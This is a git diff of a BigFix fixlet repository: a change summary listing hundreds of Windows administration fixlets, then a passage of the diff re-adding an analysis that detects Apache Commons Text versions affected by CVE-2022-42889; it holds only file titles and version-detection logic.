 ...ound_ Disable ActiveX Download (26876).bes |  122 +-
 ...ound_ Disable ActiveX Download (26877).bes |  122 +-
 ...nvironment variables (Windows) (26898).bes |  134 +-
 ...dministrator Password - Windows (9150).bes |   92 +-
 ... Page if unchanged from default (3802).bes |   74 +-
 ...ge local user account password (27377).bes |  208 +-
 ...user account password - Windows (3670).bes |  138 +-
 ...ord with verification - Windows (6076).bes |  180 +-
 ...ay run out of hard drive space (11930).bes |  114 +-
 ...system may run out of hard drive space.bes |  114 +-
 .../Close Magnify.exe - Windows (24573).bes   |   78 +-
 ...ce - Automatic Start - Windows (20699).bes |   84 +-
 ...ment Max Size - 20mb - Windows (20591).bes |   80 +-
 ...tion Max Size - 20mb - Windows (20592).bes |   80 +-
 ..._DLL Max Size - 20mb - Windows (20593).bes |   80 +-
 ...ript Max Size - 20mb - Windows (20594).bes |   80 +-
 ... AppX,EXE,MSI,Script - Windows (20595).bes |  130 +-
 ... AppX,EXE,MSI,Script - Windows (20596).bes |  130 +-
 ... run All Executables - Windows (20616).bes |  126 +-
 ...s to run All Scripts - Windows (20617).bes |  126 +-
 ...ules - Allow Default - Windows (20599).bes |  264 +-
 ...un Cached Installers - Windows (20619).bes |  126 +-
 ...nstalled Executables - Windows (20620).bes |  134 +-
 ...un Installed Scripts - Windows (20621).bes |  138 +-
 ...e to run Signed AppX - Windows (20622).bes |  128 +-
 ...n Signed Executables - Windows (20623).bes |  132 +-
 ...un Signed Installers - Windows (20624).bes |  130 +-
 ... - Reset Local Rules - Windows (20625).bes |  106 +-
 ...n - Add User Account - Windows (23677).bes |  162 +-
 ... Autologon - Disable - Windows (23678).bes |   80 +-
 ...r Method - Audit All - Windows (20703).bes |  132 +-
 ...Method - Enforce All - Windows (20704).bes |  132 +-
 ... run All Executables - Windows (20705).bes |  126 +-
 ...s to run All Scripts - Windows (20706).bes |  126 +-
 ...ts in their Profiles - Windows (20714).bes |  110 +-
 ...un Cached Installers - Windows (20707).bes |  126 +-
 ...nstalled Executables - Windows (20746).bes |  134 +-
 ...un Installed Scripts - Windows (20709).bes |  138 +-
 ...pts in Program Files - Windows (20738).bes |  116 +-
 ...irectory except Temp - Windows (20739).bes |  116 +-
 ...files except AppData - Windows (20740).bes |  116 +-
 ...e to run Signed AppX - Windows (20710).bes |  128 +-
 ...n Signed Executables - Windows (20711).bes |  132 +-
 ...un Signed Installers - Windows (20712).bes |  130 +-
 ...tial Guard - Disable - Windows (20652).bes |  122 +-
 ...nable with UEFI Lock - Windows (20653).bes |  128 +-
 ...le SMBv3 Compression - Windows (26668).bes |   88 +-
 ... Pinning Mitigations - Windows (20801).bes |  820 +-
 ...t Mitigation Actions - Windows (20802).bes |  124 +-
 ...lication Mitigations - Windows (20803).bes |  632 +-
 ...igations without EAF - Windows (20897).bes |  634 +-
 ...rd-Party Mitigations - Windows (21612).bes |  616 +-
 ...igations without EAF - Windows (20898).bes |  616 +-
 ...- Add 127.0.0.1 FQDN - Windows (23379).bes |  104 +-
 ...emove 127.0.0.1 FQDN - Windows (23380).bes |  102 +-
 ...e - Reset to Default - Windows (23381).bes |  140 +-
 ...V Platform - Disable - Windows (20654).bes |   76 +-
 ...-V Platform - Enable - Windows (20655).bes |   78 +-
 ... User Mode - Disable - Windows (20656).bes |   76 +-
 ...d User Mode - Enable - Windows (20657).bes |   76 +-
 ...Desktop - Enable RDP - Windows (23555).bes |   80 +-
 ...cy - Set to Balanced - Windows (20557).bes |   74 +-
 ... to High Performance - Windows (20559).bes |   74 +-
 ...- Set to Power Saver - Windows (20561).bes |   74 +-
 ...to Presentation Mode - Windows (24032).bes |   68 +-
 ...osoft Search Indexer - Windows (22915).bes |   80 +-
 ... Delay to 10 Minutes - Windows (23032).bes |   72 +-
 ... Delay to 15 Minutes - Windows (23033).bes |   72 +-
 ...t Delay to 5 Minutes - Windows (23034).bes |   72 +-
 ...ntial Guard - Enable - Windows (23808).bes |   88 +-
 ...et to KMS Activation - Windows (23579).bes |  100 +-
 ... on Synchronize with NTP server (2587).bes |   78 +-
 ...dard User to use Windows Update (2583).bes |   84 +-
 ...res - Windows 8 or later   TODO (6047).bes |  120 +-
 ...g Features - Windows 8 or later (6067).bes |  122 +-
 ... port ForceFifoEnable - Windows (3864).bes |   94 +-
 ... port ForceFifoEnable - Windows (6044).bes |   94 +-
 ...able Kerberos Logging - Windows (3782).bes |   76 +-
 ...FS Last Access Update - Windows (6041).bes |   84 +-
 ...ettings - Windows -TODO_Testing (3865).bes |  108 +-
 ...rm Tags Utility 4.006 - Windows (3928).bes |  232 +-
 ...rm Tags Utility 4.006 - Windows (3927).bes |  220 +-
 ...press Balloon Pop-Ups - Windows (3781).bes |   88 +-
 ...igure Cascading Admin Tools Menu (100).bes |   88 +-
 ...figure Cascading Admin Tools Menu (85).bes |   88 +-
 ...nfigure Computer as _Always On_ (2570).bes |   88 +-
 ... ago (Windows Vista and Higher) (6035).bes |  118 +-
 .../Configure Execution Policy (632).bes      |   84 +-
 .../Configure Execution Policy (74).bes       |   84 +-
 ...ist for Currently Logged On User (647).bes |  110 +-
 ...Registered Organization and Owner (86).bes |  160 +-
 ...igure TCP_ MaxUserPort to 60000 (3938).bes |   76 +-
 .../Configure TCP_ MaxUserPort to 60000.bes   |   76 +-
 ...TcpTimedWaitDelay to 30 seconds (3937).bes |   76 +-
 ... Firewall_ Allow Remote Desktop (3974).bes |   84 +-
 ...Windows Firewall_ Allow Remote Desktop.bes |   84 +-
 ... Desktop Shortcut (PowerShell) (25589).bes |  146 +-
 ...rtcut in User Profile if missing (720).bes |  102 +-
 ...lias for DIR command - Windows (24046).bes |  100 +-
 ...d_ Context Menu item - Windows (25531).bes |   78 +-
 ...o clear relevance for KB3024777 (3979).bes |   98 +-
 ...account to local administrators (3656).bes |   84 +-
 ...ings using ActiveSetup (POODLE) (3914).bes |  146 +-
 .../Fixlets/Fixlets/DISM Inventory (1420).bes |  292 +-
 ... if one exists over 2GB in size (1415).bes |   76 +-
 ..._NETWORK WiFi Profile - Windows (6171).bes |   80 +-
 ...from systems with low free space (721).bes |   78 +-
 ...hortcuts containing _uninstall_ (3657).bes |   80 +-
 ...ment Framework - 4.0 - Windows (23565).bes |   92 +-
 ...osoft Office 2011 Update 14.3.5 (2531).bes |   94 +-
 ...osoft Office 2011 Update 14.3.6 (2539).bes |   94 +-
 .../Designate ALWAYS On Profile (2611).bes    |  148 +-
 .../Fixlets/Device Control (24645).bes        |   76 +-
 .../Disable Administrator Account (99).bes    |   90 +-
 .../Fixlets/Disable AutoAdminLogon (740).bes  |   80 +-
 ...tes for Currently Logged On User (646).bes |   96 +-
 .../Fixlets/Disable Microsoft CEIP (3899).bes |  108 +-
 .../Fixlets/Disable Named Pipes (108).bes     |   84 +-
 .../Fixlets/Disable Named Pipes (642).bes     |   84 +-
 ...rk Adaptors (Requires Restart) (27372).bes |   72 +-
 .../Disable Remote Desktop (RDP) (659).bes    |   96 +-
 ...dows 8 and Windows Server 2012 (24318).bes |  112 +-
 ...ows Vista, Windows Server 2008 (24314).bes |   76 +-
 ...isable SMBv1 Service - Windows (23443).bes |   86 +-
 ...ows 8, and Windows Server 2012 (24316).bes |   82 +-
 ...le Skype Auto-update - Improved (3662).bes |  104 +-
 ...Disable Skype start with windows (727).bes |   76 +-
 ...R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24650).bes |  134 +-
 .../Fixlets/Fixlets/Disable UAC (1376).bes    |   86 +-
 .../Fixlets/Fixlets/Disable UAC (26610).bes   |   94 +-
 ...8 and Mac OS 10.4_10.5_10.6_10.7 (310).bes |  114 +-
 .../Disable Windows Update (26611).bes        |   70 +-
 .../Fixlets/Disable inactive users (2549).bes |   80 +-
 .../Fixlets/Disable inactive users (3873).bes |   80 +-
 ...artition & Create M_ Partition (25433).bes |  156 +-
 .../Enable Administrator Account (615).bes    |   90 +-
 ...tes for Currently Logged On User (645).bes |   96 +-
 ...buntu BASH) - Windows Features (20682).bes |  116 +-
 .../Fixlets/Enable Named Pipes (107).bes      |   84 +-
 .../Fixlets/Enable Named Pipes (641).bes      |   84 +-
 ... .NET 2 & 3 - Windows Features (22635).bes |  106 +-
 .../Fixlets/Enable Remote Desktop (3872).bes  |   74 +-
 .../Enable Remote Desktop (RDP) (2458).bes    |  100 +-
 ...dows 8 and Windows Server 2012 (24319).bes |  112 +-
 ...ows Vista, Windows Server 2008 (24315).bes |   76 +-
 ...ows 8, and Windows Server 2012 (24317).bes |   82 +-
 ...R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24651).bes |  136 +-
 .../Enable TRIM on Win7 for SSDs (1385).bes   |   76 +-
 .../Fixlets/Fixlets/Enable UAC (1377).bes     |   86 +-
 .../Enable Windows Automatic Updates (97).bes |  116 +-
 ...pport - Unsupported Windows OS (25452).bes |   90 +-
 ...Enforce Admin Users Compliance (25547).bes |  318 +-
 ...nd Ransomware Files on C Drive (24331).bes |   70 +-
 ...nd Ransomware Files on D Drive (24332).bes |   70 +-
 ...nd Ransomware Files on E Drive (24333).bes |   70 +-
 ...nd Ransomware Files on F Drive (24334).bes |   70 +-
 ...nd Ransomware Files on G Drive (24336).bes |   70 +-
 ...nd Ransomware Files on H Drive (24337).bes |   70 +-
 ...nd Ransomware Files on I Drive (24338).bes |   70 +-
 ...nd Ransomware Files on J Drive (24339).bes |   70 +-
 ...nd Ransomware Files on K Drive (24340).bes |   70 +-
 ...nd Ransomware Files on L Drive (24341).bes |   70 +-
 ...nd Ransomware Files on M Drive (24342).bes |   70 +-
 ...nd Ransomware Files on N Drive (24343).bes |   70 +-
 ...nd Ransomware Files on O Drive (24344).bes |   70 +-
 ...nd Ransomware Files on P Drive (24345).bes |   70 +-
 ...nd Ransomware Files on X Drive (24346).bes |   70 +-
 ...nd Ransomware Files on Y Drive (24347).bes |   70 +-
 ...shortcut missing from Start Menu (741).bes |  102 +-
 .../Fix Unquoted Registry Paths (24886).bes   |   80 +-
 .../Fixlets/Fixlets/Fix WMI Errors (3652).bes |  182 +-
 ...and SSL 3.0 in Internet Explorer (652).bes |   72 +-
 ...P Update for Computer and Reboot (651).bes |   72 +-
 ... info to Registry (Policy) 1.1 (22387).bes |  332 +-
 ...owerCFG Energy Report - Windows (6040).bes |  134 +-
 .../Fixlets/Get AD Description (3755).bes     |  172 +-
 .../Fixlets/Get AD Location (3756).bes        |  172 +-
 ...12 R2, and Windows Server 2016 (24321).bes |  114 +-
 ...12 R2, and Windows Server 2016 (24323).bes |  114 +-
 ...12 R2, and Windows Server 2016 (24320).bes |  114 +-
 ...12 R2, and Windows Server 2016 (24322).bes |  114 +-
 ...ithout Elevation (Interactive) (26940).bes |  272 +-
 ...ithout Elevation (Interactive) (26941).bes |  272 +-
 ...NET Framework 2.0 Service Pack 2 (106).bes |  110 +-
 ...all Microsoft .NET Framework 3.5 (104).bes |  116 +-
 ...tall Microsoft .NET Framework 4 (3626).bes |  164 +-
 ... new wifi certificate - Windows (6247).bes |   84 +-
 ...pdate 1     TODO_ Add Relevance (6061).bes |  102 +-
 ...stic Tool v2 Update 1 - Windows (6063).bes |  110 +-
 ...Remote Desktop Users - Windows (22607).bes |   84 +-
 ...orary Administrators - Windows (24153).bes | 1616 ++--
 ...er to Administrators - Windows (24405).bes |   82 +-
 ...strators Temporarily - Windows (21369).bes |  202 +-
 ...uthorized Requestors - Windows (24154).bes |  372 +-
 ...Remote Desktop Users - Windows (24406).bes |   82 +-
 ...orary Administrators - Windows (24155).bes | 1614 ++--
 ... to Authorized Files - Windows (21897).bes |  168 +-
 ...uthorized Requestors - Windows (24156).bes |  374 +-
 ...ze Application Usage - Windows (21122).bes |  304 +-
 ... Blocks and Warnings - Windows (21336).bes |  500 +-
 ... Configuration Probe - Windows (20701).bes |  156 +-
 ...ypt Secondary Volume - Windows (21696).bes |  510 +-
 ...ncrypt System Volume - Windows (23093).bes |  312 +-
 ... to Active Directory - Windows (23097).bes |  150 +-
 ...overy Password Probe - Windows (21335).bes |  236 +-
 ...tem Drive Encryption - Windows (24097).bes |  112 +-
 ...tem Drive Encryption - Windows (24111).bes |  108 +-
 ...tem Drive Encryption - Windows (24112).bes |  106 +-
 ...tificate Store Probe - Windows (24040).bes |  214 +-
 ...s older than 14 days - Windows (24041).bes |   98 +-
 ...s older than 30 days - Windows (24042).bes |   98 +-
 ...s older than 60 days - Windows (24043).bes |   98 +-
 ...ng Physical Presence - Windows (24044).bes |  108 +-
 ... Owner Authorization - Windows (24113).bes |  114 +-
 ... Owner Authorization - Windows (24114).bes |  114 +-
 ...ched Applocker Rules - Windows (20716).bes |  232 +-
 ...orary Administrators - Windows (24157).bes | 1640 ++--
 ...orary Administrators - Windows (24158).bes | 1630 ++--
 ... and Optimize Drives - Windows (23382).bes |   72 +-
 ...pplication Usage Log - Windows (21052).bes |   70 +-
 ...pplication Usage Log - Windows (21059).bes |   72 +-
 ...nvoke - Disk Cleanup - Windows (21628).bes |  214 +-
 ...Group Policy Refresh - Windows (22887).bes |  102 +-
 ...ive Directory Domain - Windows (23387).bes |  198 +-
 ... Kernel Kext Cache Reset - Mac (20530).bes |   78 +-
 ...T Convert MBR to GPT - Windows (23810).bes |  158 +-
 ... Validate MBR to GPT - Windows (23811).bes |  160 +-
 ...wer Efficiency Probe - Windows (21716).bes |   96 +-
 ...wer Efficiency Probe - Windows (21726).bes |   96 +-
 ...sted Platform Module - Windows (23094).bes |  482 +-
 ... from Administrators - Windows (24407).bes |   78 +-
 ...uthorized Requestors - Windows (24159).bes |  370 +-
 ...Remote Desktop Users - Windows (24408).bes |   82 +-
 ...orary Administrators - Windows (24160).bes |  370 +-
 ...uthorized Requestors - Windows (24161).bes |  368 +-
 ...orary Administrators - Windows (24162).bes |  368 +-
 ...t Local Group Policy - Windows (22647).bes |  102 +-
 ... - Sync Client Clock - Windows (24110).bes |   74 +-
 ...WMI Repository Reset - Windows (22648).bes |  114 +-
 ...ed Credentials Probe - Windows (20768).bes |  844 +-
 ...pdate Troubleshooter - Windows (21363).bes |  108 +-
 ...Join Computer to domain - wmic (26947).bes |  176 +-
 ... x64) and Windows Server 2008r2 (2592).bes |  192 +-
 ...sable RTF processing in MS Word (3741).bes |  202 +-
 ...dpoint Manager version 8.1.634.0 (153).bes |  176 +-
 ...urity Platform version 8.1.634.0 (129).bes |  160 +-
 ...o 80 MB via Local Group Policy (26933).bes |  220 +-
 .../List Offline Files (PowerShell) (644).bes |  192 +-
 .../Fixlets/Lock Screen - Windows (23995).bes |   80 +-
 ...Lock computer multiple options (26856).bes |  132 +-
 .../Locky malware detection (9275).bes        |   82 +-
 ...nection Server Names - Windows (23554).bes |  102 +-
 ...d files on the C_ drive - v1.1 (24312).bes |   88 +-
 ...t Logon - Disable Debug Logging (1410).bes |  100 +-
 ...et Logon - Enable Debug Logging (1409).bes |  104 +-
 .../Fixlets/Nuke IPv6 - Windows (27385).bes   |   80 +-
 ...lias for DIR command - Windows (20414).bes |   98 +-
 .../Fixlets/Outlook Profile Reset (24867).bes |   94 +-
 ...ers using Driverquery - Windows (6060).bes |   84 +-
 ...ndows Update Results - Windows (23123).bes |  206 +-
 ... Sleep Timeout - Windows Vista_7 (312).bes |  102 +-
 ...set defaults to 35min - testing (1419).bes |  136 +-
 ...date.log - Windows NOT WORKING (10608).bes |  100 +-
 ...Pin Calc to Windows 7 Start Menu (677).bes |  158 +-
 .../Pin Calc to Windows 7 Taskbar (678).bes   |  158 +-
 ...r Printnightmare vulnerability (26861).bes |   96 +-
 ...older Rights (Prompt for Path) (26609).bes |  258 +-
 ...shell Computer Rename (Prompt) (26604).bes |  110 +-
 .../Registry.pol Corruption Fix (27373).bes   |   90 +-
 ...r Printnightmare vulnerability (26862).bes |  132 +-
 ...and 3 and updates with msiexec (26634).bes |  216 +-
 ...y - those not created by wizard (2528).bes |   78 +-
 .../Fixlets/Remove XPS Viewer (648).bes       |  186 +-
 ...ast Man Standing_ Power Scheme (21436).bes |  126 +-
 ...and deactivate Windows license (25208).bes |   82 +-
 ...rom local Administrators group (24889).bes |   72 +-
 .../Rename Windows Computer (1393).bes        |  110 +-
 .../Fixlets/Fixlets/Repair WMI (676).bes      |  154 +-
 ...ce IP in hosts file on Windows (26953).bes |   86 +-
 ...Certificate - Enable Workaround (6286).bes |  224 +-
 ...Roll Back_ MS11-021 (KB2501584) (1412).bes |   92 +-
 ... Internet Explorer to version 9 (3706).bes |   70 +-
 ...al Kerberos problem - Windows7+ (3783).bes |  116 +-
 .../Rollback Patch Task_ KB971033 (26600).bes |   92 +-
 .../Run a Full Disk Cleanup (6133).bes        |  340 +-
 ...ell Script - Windows - TEMPLATE (3860).bes |  116 +-
 ...icrosoft product keys - Windows (3941).bes |   98 +-
 ...dows Account Lockout_ 15_10_10 (27000).bes |  112 +-
 ...t Profile Picture - Windows 10 (25579).bes |  108 +-
 ...solution to Maximum Resolution (27420).bes |  942 +-
 ...t Name to Sharing Name V2 - Mac (3649).bes |  118 +-
 ... NOT depend on SMBv1 - Windows (23441).bes |   84 +-
 .../Fixlets/Set MTU to 1400 (2456).bes        |   68 +-
 ...tzautoupdate to Auto - Windows (24613).bes |   92 +-
 ... to DelayedAutoStart - Windows (24612).bes |   88 +-
 ...autoupdate to demand - Windows (24611).bes |   88 +-
 ...toupdate to disabled - Windows (24610).bes |   88 +-
 .../Fixlets/Set Timezone - Windows (2613).bes |  730 +-
 ...de Analytics Preview - Windows (21118).bes |  192 +-
 ... Update KB917607 - WinHlp32.exe (1364).bes |   96 +-
 ...art and Enable Windows Service (26632).bes |   90 +-
 ...Start the DCOM Launcher Service (9282).bes |   72 +-
 ...the RPC EndPoint Mapper Service (9283).bes |   72 +-
 ...e Remote Procedure Call Service (9284).bes |   72 +-
 ...art the Remote Registry Service (9286).bes |   72 +-
 ...agement Instrumentation Service (9285).bes |   72 +-
 ... disable Print Spooler service (26914).bes |   94 +-
 .../System Restore Off _ Disable (20643).bes  |  494 +-
 .../TASK_ Change System Time (773).bes        |   74 +-
 ...ile Checker tool - SFC _scannow (6038).bes |  118 +-
 ...napshot Service - VSS - Backups (6043).bes |   72 +-
 ...Win10_2016) (TEST!!!) (export) (25565).bes |  392 +-
 .../Take Screenshot - Windows (21898).bes     |  736 +-
 ...are Spooler Disable mitigation (26860).bes |   88 +-
 .../Track Primary User v2.8 (2533).bes        |   94 +-
 ...nding Updates, and DISM Repair (27344).bes |  758 +-
 ...ver 2016 _ Windows Server 2019 (26631).bes |  172 +-
 ...gers (Trigger Start) - Windows (24614).bes |   94 +-
 ...et-Explorer 11 (Windows 64BIT) (26938).bes |  166 +-
 ...ain on Windows Computer - wmic (26948).bes |   74 +-
 ...Unmount PST Files from Outlook (26642).bes |  268 +-
 ...1.247.1082.0 - 64bit - Windows (24602).bes |   96 +-
 ...ndows Experience Index - WinSAT (6045).bes |   92 +-
 .../Fixlets/Upload DISM.txt (1049).bes        |  104 +-
 ...le Memory Leak in ITM OS Client (4013).bes |  154 +-
 ...le Memory Leak in ITM OS Client (4014).bes |   98 +-
 .../Fixlets/WUAUSERV Enable (21611).bes       |   68 +-
 ...ity service may not be running (22654).bes |   80 +-
 ... AppIDSvc is stopped - Windows (22655).bes |   72 +-
 ...orcement Mode is Set - Windows (20664).bes |   54 +-
 ...enterprise versions of Windows (20223).bes |   56 +-
 ...vent log size may be too small (20583).bes |   62 +-
 ...on Unencrypted Drive - Windows (20584).bes |   62 +-
 ...oo large to compress - Windows (23431).bes |  112 +-
 ...e Injection may not be allowed (23558).bes |   62 +-
 ...lder of System Drive - Windows (21631).bes |   94 +-
 ...lder of System Drive - Windows (21632).bes |   96 +-
 ...lder of System Drive - Windows (21633).bes |   96 +-
 ...lder of System Drive - Windows (21634).bes |   96 +-
 ...Root of System Drive - Windows (21635).bes |  100 +-
 ...gging may be enabled - Windows (21636).bes |   58 +-
 ...acing may be enabled - Windows (21637).bes |   58 +-
 ...gging may be enabled - Windows (21638).bes |   56 +-
 ...nually defined hosts - Win_Mac (20536).bes |   54 +-
 ...use Installer errors - Windows (21687).bes |  248 +-
 ...ty SA 00075 Exposure - Windows (24269).bes |   58 +-
 ...stalled but may not be running (20225).bes |   58 +-
 ...stalled but may not be running (20226).bes |   58 +-
 ...stalled Side-by-Side - Windows (23734).bes |   84 +-
 ...stalled Side-by-Side - Windows (23735).bes |   84 +-
 ...stalled Side-by-Side - Windows (23818).bes | 8268 ++++++++--------
 ...lled but not running - Windows (22649).bes |   78 +-
 ...efault configuration - Windows (20537).bes |   54 +-
 ... to High Performance - Windows (21429).bes |   54 +-
 ...ssistance may not be installed (23559).bes |   78 +-
 ...municated in 30 Days - Windows (21744).bes |   56 +-
 ...-Protect is Disabled - Windows (21745).bes |   56 +-
 ...e exceptions defined - Windows (21746).bes |   58 +-
 ...ital signature state - Windows (20538).bes |   58 +-
 ...f cached credentials - Windows (20631).bes |   56 +-
 ... Assistance may not be allowed (23560).bes |   78 +-
 ...nents can be removed - Windows (23819).bes |   86 +-
 ...nents can be removed - Windows (23820).bes |   82 +-
 ...nents can be removed - Windows (23821).bes |   86 +-
 ...nents can be removed - Windows (23822).bes | 8270 ++++++++---------
 ...ion may cause WU reboot prompt (20539).bes |   56 +-
 ... in System Directory - Windows (21639).bes |   76 +-
 ...sitory is very large - Windows (22650).bes |   74 +-
 ...esponding to queries - Windows (22651).bes |   74 +-
 ...ication during AV installation (20586).bes |   56 +-
 ... be blocking Remote Assistance (23561).bes |   74 +-
 .../Wifi + LAN Detect and Disable (24607).bes |   72 +-
 .../Wifi + LAN Detect and enable (24608).bes  |   72 +-
 ...AGE1__Stage Installation Files (25518).bes |  184 +-
 .../Win10-1803__STAGE2__Install (25519).bes   |  268 +-
 .../Win10-1803__STAGE3__Cleanup (25520).bes   |   88 +-
 ...AGE1__Stage Installation Files (25593).bes |  184 +-
 .../Win10-1809__STAGE2__Install (25594).bes   |  268 +-
 .../Win10-1809__STAGE3__Cleanup (25595).bes   |   90 +-
 .../WinGet (WinGet method) (27387).bes        |   96 +-
 ...ws - New local user definition (27388).bes |  268 +-
 ...Set Telemetry Level to _Basic_ (11671).bes |   94 +-
 ...ty CVE 2021-36934 (TESTING) v2 (26867).bes |  176 +-
 ...s 11 Upgrade Eligibility probe (26878).bes |   88 +-
 ...staller 3.1 Redistributable (v2) (103).bes |  124 +-
 ..., Windows Server 2012 R2 (x64) (22466).bes |  158 +-
 ...indows PowerShell 2.0 Available (3964).bes |  196 +-
 ...indows PowerShell 2.0 Available (3966).bes |  196 +-
 ...Windows PowerShell 2.0 Available (634).bes |  182 +-
 ...stall-Module (PS 5.0+ version) (26617).bes |  484 +-
 .../Windows7810DeviceControl (24647).bes      |  116 +-
 ... Disable the MSDT URL Protocol (26935).bes |   74 +-
 ... Disable the MSDT URL Protocol (26936).bes |   74 +-
 .../dump DNS Cache - Windows (21333).bes      |  100 +-
 .../dump DNS Cache - Windows (9281).bes       |  100 +-
 ...Windows KMS key - Windows BETA (21368).bes |  134 +-
 ...ML Editing Template Powershell (25582).bes |  220 +-
 ...mplate XML Editing Template Powershell.bes |  220 +-
 563 files changed, 44549 insertions(+), 44549 deletions(-)

diff --git a/Sites/Linux Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes b/Sites/Linux Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes
index 4a80fec3b..7ab92a171 100644
--- a/Sites/Linux Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes	
+++ b/Sites/Linux Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes	
@@ -1,34 +1,34 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Apache Commons Text Scan Analysis
-  ID       : 2998676
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2022-10-21T12:03:09
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Apache Commons Text Scan Analysis</Title>
-    <Description><![CDATA[<H3>This is Community Content. When you use these solutions, it is incumbent on your organization to test any solutions provided across the broadest available system base including various OS, storage solutions, and application inventory.</H3>
-<P></P>
-<P>Please see the <A href="https://forum.bigfix.com/t/log4j-vulnerability-identification-and-3rd-party-remediation-solution-testing-statement/40273"><FONT color=#0066cc>Community Solution Testing Statement</FONT></A></P>
-<P>This&nbsp;Analysis retrieves results of&nbsp;a filesystem scan to attempt detecting Apache Commons Text versions that may be vulnerable to one of the following vulnerabilty CVE-2022-42889 reported in October 2022:</P>
-<UL>
-<LI><A href="https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om"><FONT color=#0066cc>https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om</FONT></A>
-<LI><A href="https://nvd.nist.gov/vuln/detail/CVE-2022-42889"><FONT color=#0066cc>https://nvd.nist.gov/vuln/detail/CVE-2022-42889</FONT></A><BR></LI></UL>
-<P><SPAN style="FONT-SIZE: 11pt">This Analysis attempts to detect the presence and versions of Apache Commons Text java library, without distinction between vulnerable or updated versions.&nbsp; These results should be considered only a starting point in determining whether a system is actually vulnerable, along with other information such as the version of Java Virtual Machine and specific application or code configurations as referenced in the security bulletins above.</SPAN></P>]]></Description>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance><![CDATA[exists files "apache-commons-text.txt" of folders "Scans" of folders ((if (version of client >= "9" as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site "actionsite")))]]></Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 18 Oct 2022 16:15:23 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="All Apache Commons Text Detections" EvaluationPeriod="PT30M">(if exists property &quot;locked lines&quot; then locked lines of it else lines of it) whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;))) </Property>
-    <Property ID="2" Name="Number of Apache Commons Text Detections" EvaluationPeriod="PT30M">number of (if exists property &quot;locked lines&quot; then locked lines of it else lines of it) whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;)))</Property>
-    <Property ID="4" Name="Unique Apache Commons Text Versions Found" EvaluationPeriod="PT30M">unique values of (unique value of following texts of lasts &quot;-&quot; of preceding texts of lasts &quot;.jar&quot; of (it as lowercase) | &quot;unknown&quot;) of lines whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;)))</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Apache Commons Text Scan Analysis
+  ID       : 2998676
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-10-21T12:03:09
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Apache Commons Text Scan Analysis</Title>
+    <Description><![CDATA[<H3>This is Community Content. When you use these solutions, it is incumbent on your organization to test any solutions provided across the broadest available system base including various OS, storage solutions, and application inventory.</H3>
+<P></P>
+<P>Please see the <A href="https://forum.bigfix.com/t/log4j-vulnerability-identification-and-3rd-party-remediation-solution-testing-statement/40273"><FONT color=#0066cc>Community Solution Testing Statement</FONT></A></P>
+<P>This&nbsp;Analysis retrieves results of&nbsp;a filesystem scan to attempt detecting Apache Commons Text versions that may be vulnerable to one of the following vulnerabilty CVE-2022-42889 reported in October 2022:</P>
+<UL>
+<LI><A href="https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om"><FONT color=#0066cc>https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om</FONT></A>
+<LI><A href="https://nvd.nist.gov/vuln/detail/CVE-2022-42889"><FONT color=#0066cc>https://nvd.nist.gov/vuln/detail/CVE-2022-42889</FONT></A><BR></LI></UL>
+<P><SPAN style="FONT-SIZE: 11pt">This Analysis attempts to detect the presence and versions of Apache Commons Text java library, without distinction between vulnerable or updated versions.&nbsp; These results should be considered only a starting point in determining whether a system is actually vulnerable, along with other information such as the version of Java Virtual Machine and specific application or code configurations as referenced in the security bulletins above.</SPAN></P>]]></Description>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[exists files "apache-commons-text.txt" of folders "Scans" of folders ((if (version of client >= "9" as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site "actionsite")))]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Oct 2022 16:15:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
